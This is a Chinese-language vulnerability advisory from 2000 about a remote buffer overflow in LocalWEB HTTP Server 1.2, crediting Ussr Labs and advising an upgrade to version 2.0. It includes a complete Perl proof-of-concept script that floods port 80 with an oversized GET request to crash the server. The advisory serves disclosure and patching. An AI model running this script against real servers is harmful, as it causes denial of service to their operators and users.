LocalWEB HTTP 远程溢出漏洞
发布日期:2000-07-07
更新日期:2000-07-07
受影响系统:
LocalWEB HTTP Server 1.2.0
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
不受影响系统:
LocalWEB HTTP Server 2.0
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
描述:
攻击者通过构造一个特殊的HTTP请求,并提交给LocalWEB HTTP Server 1.2的80端口。
将导致HTTP Server停止响应,造成拒绝服务攻击。攻击者也可能在HTTP请求中加入可
执行代码,远程获取LocalWEB HTTP server权限。
<* 来源: Ussr Labs. <labs@USSRBACK.COM> *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl
#
# ./$0.pl -s <server>
#
# Malformed GET URL request DoS
#
use Getopt::Std;
use Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);
$foo = "A"; # this is the NOP
$number = "10000"; # this is the total number of NOP
$data .= $foo x $number; # result of $foo times $number
$serv = $args{s}; # remote server
$port = 80; # remote port, default is 80
$buf = "GET /$data HTTP/1.0\r\n\r\n"; # issue this response to the
server
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";
print("Data has been successfully sent to $serv\n");
sub usage {die("\n\n$0 -s <server>\n\n");}
建议:
更新到2.0版,您可以在下列地址下载:
http://www.west-street.co.uk/download.htm
浏览次数:5883
严重程度:0(网友投票)